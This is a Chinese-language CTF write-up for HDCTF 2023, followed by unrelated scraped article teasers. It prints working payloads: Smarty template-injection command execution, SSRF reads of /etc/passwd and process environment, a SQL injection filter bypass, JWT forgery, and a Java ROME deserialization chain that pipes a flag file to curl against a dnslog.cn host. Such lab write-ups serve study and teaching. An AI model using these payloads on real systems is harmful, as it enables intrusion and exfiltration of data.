HDCTF

news/2025/1/15 21:45:01/

Welcome To HDCTF 2023

看源码找到game.js

找到这一串

image-20230422201853964

放到控制台运行即可

image-20230422201938572

SearchMaster

题目让post提交一个data

随便传一个在页面执行了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-08UzuIeS-1682231444902)(../../../AppData/Roaming/Typora/typora-user-images/image-20230422194238228.png)]

当传入{时他会报错,看报错信息发现

image-20230422194322675

Smarty,猜测Smarty的ssti,数据发送到前端

用{if}标签即可

{if phpinfo()}{/if}

可以执行phpinfo()

直接命令执行即可

data={if system('cat /f*')}{/if}

image-20230422201724180

YamiYami

三个链接,点read somethings之后看url

image-20230422202128558

应该是ssrf尝试一下文件读取

?url=file:///etc/passwd

image-20230422202206664

可以读,但不能读flag,尝试读环境变量

?url=file:///proc/1/environ

image-20230422202321083

可以看到flag在环境变量中

LoginMaster

用dirsearch扫目录扫出

/robots.txt

function checkSql($s) 
{if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}
if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');

可以参考这个

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

JavaMonster

jwt

将admin改成Boogipop解出jwt传入cookie:a=1;b=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2ODIxNzcxMTgsImlhdCI6MTY4MjE2OTkxOCwidXNlcm5hbWUiOiJCb29naXBvcCJ9.1dfoUuPRgwflPRL8beAumUMOCVFIRCV4yAjXd18Syko

public static void main(String[] args) throws UnsupportedEncodingException {com.ctf.easyjava.utils.JwtUtil jwtUtil = new com.ctf.easyjava.utils.JwtUtil();User user = new User("Boogipop", "123");String token = jwtUtil.JwtCreate(user);System.out.println(token);System.out.println(jwtUtil.Jwttoken(token));
}

hashcode

USy to solve EasyJava的hash等于Try to solve EasyJava

rome二次反序列化

将结果带入dnslog

package com.ctf.easyjava;import com.ctf.easyjava.hdctf.HDCTF;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;import javax.xml.transform.Templates;
import java.util.HashMap;
import static com.ctf.easyjava.Tool.*;public class R_SignedObject {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("i");CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");ctClass.setSuperclass(superClass);CtConstructor constructor = ctClass.makeClassInitializer();constructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/sh\", \"-c\", \"cat /flag_is_is_here | while read line; do echo $line.4m7ytd.dnslog.cn | xargs curl; done\"});");byte[] bytes = ctClass.toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "Poria");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());HashMap table1 = getPayload(Templates.class, obj);HDCTF hdctf = new HDCTF(table1);HashMap table2 = getPayload(HDCTF.class, hdctf);
//run(table2, "debug", "object");}public static HashMap getPayload (Class clazz, Object payloadObj) throws Exception{EqualsBean bean = new EqualsBean(String.class, "r");HashMap map1 = new HashMap();HashMap map2 = new HashMap();map1.put("yy", bean);map1.put("zZ", payloadObj);map2.put("zZ", bean);map2.put("yy", payloadObj);HashMap table = new HashMap();table.put(map1, "1");table.put(map2, "2");setFieldValue(bean, "_beanClass", clazz);setFieldValue(bean, "_obj", payloadObj);return table;}
}

image-20230422213347960


http://www.ppmy.cn/news/51566.html

相关文章

FPGA学习笔记(三):PLL 锁相环

在 FPGA 芯片内部集成了 PLL(phase-locked loop&#xff0c;锁相环)&#xff0c;可以倍频分频&#xff0c;产生其它时钟类型。PLL 是 FPGA 中的重要资源&#xff0c;因为一个复杂的 FPGA 系统需要不同频率、相位的时钟信号&#xff0c;一个 FPGA 芯片中 PLL 的数量是衡量 FPGA …

Java中的异常处理机制

1. 异常机制存在的必要性 首先明确&#xff0c;程序一旦发生异常&#xff0c;如果没有被处理&#xff0c;程序就会非正常终止。 紧接着来看一段代码&#xff0c;在以下代码中&#xff0c;以为对数组进行了越界访问&#xff0c;导致程序运行中断&#xff0c;提前结束。导致后面…

Centos 搭建共享数据发布服务器

Centos 搭建共享数据发布服务器 1. 下载系统镜像2. 制作系统盘3. 制作系统3.1 BIOS设置3.2 安装系统3.3 重做系统 4 配置服务器4.1 挂载硬盘4.2 配置账号4.3 配置samba4.4 配置ftp1. 安装ftp2. 配置ftp 5. 验证5.1 验证ftp5.2 验证samba 共享服务器策略简述&#xff1a; smb提…

坚持刷题2个月,终于去了梦寐以求的大厂....

写在前面 最近一个读者和我反馈&#xff0c;他坚持刷题2个月&#xff0c;终于去了他梦寐以求的大厂&#xff0c;薪资涨幅非常可观&#xff0c;期间面字节跳动还遇到了原题…并表示目前国内的大厂和一些独角兽&#xff0c;已经越来越效仿硅谷公司的做法&#xff0c;通过面试给定…

人机识别技术再升级,AIGC为验证码带来万亿种新变化

网上输入关键词“破解验证码”&#xff0c;会出现1740万个搜索结果。“验证码识别、轻松破解、暴力破解、逻辑漏洞破解、简单破解”等等各类关键词的内容&#xff0c;不一而足&#xff0c;关于“如何用破解某某验证码”的帖子更是多如牛毛。 搜索引擎的相关结果 2017年&#xf…

Postgis导出shp和gdb数据库(Postgre入门九)

背景 有时候我们需要将postgis数据库中的空间数据表导出shp格式,而PG自带的PostGIS Shapefile Import/Export Manager 导出shp大部分时候是可以用的,但是它有个缺点是,当shp字段名称超过10个字节时,字段会被切掉,如字段“afdskskkfkfjdj”被切掉后是“afdskskkfk”,所以…

【深度学习】计算分类模型的分类指标,计算accuracy_top-1、accuracy_top-5、precision、recall和f1_score

计算accuracy_top-1、accuracy_top-5、precision、recall和f1_score&#xff1a; &#xff08;1&#xff09;accuracy_top-1 np.sum(np.argmax(preds, axis1) np.argmax(actual, axis1)) / actual.shape[0] accuracy_top-1指标是假设预测数据中&#xff0c;最大值的index就是…

公司构成-英文

标题 前言必学场景词汇及用法公司规模成立与解散公司公司结构公司管理经营状况情境常用单词公司公司事务部门名称人员头衔前言 加油 必学场景词汇及用法 公司规模 1scale [skel] n.规模on a large / small scale大/小规模地I’ve been working for a large-scale company …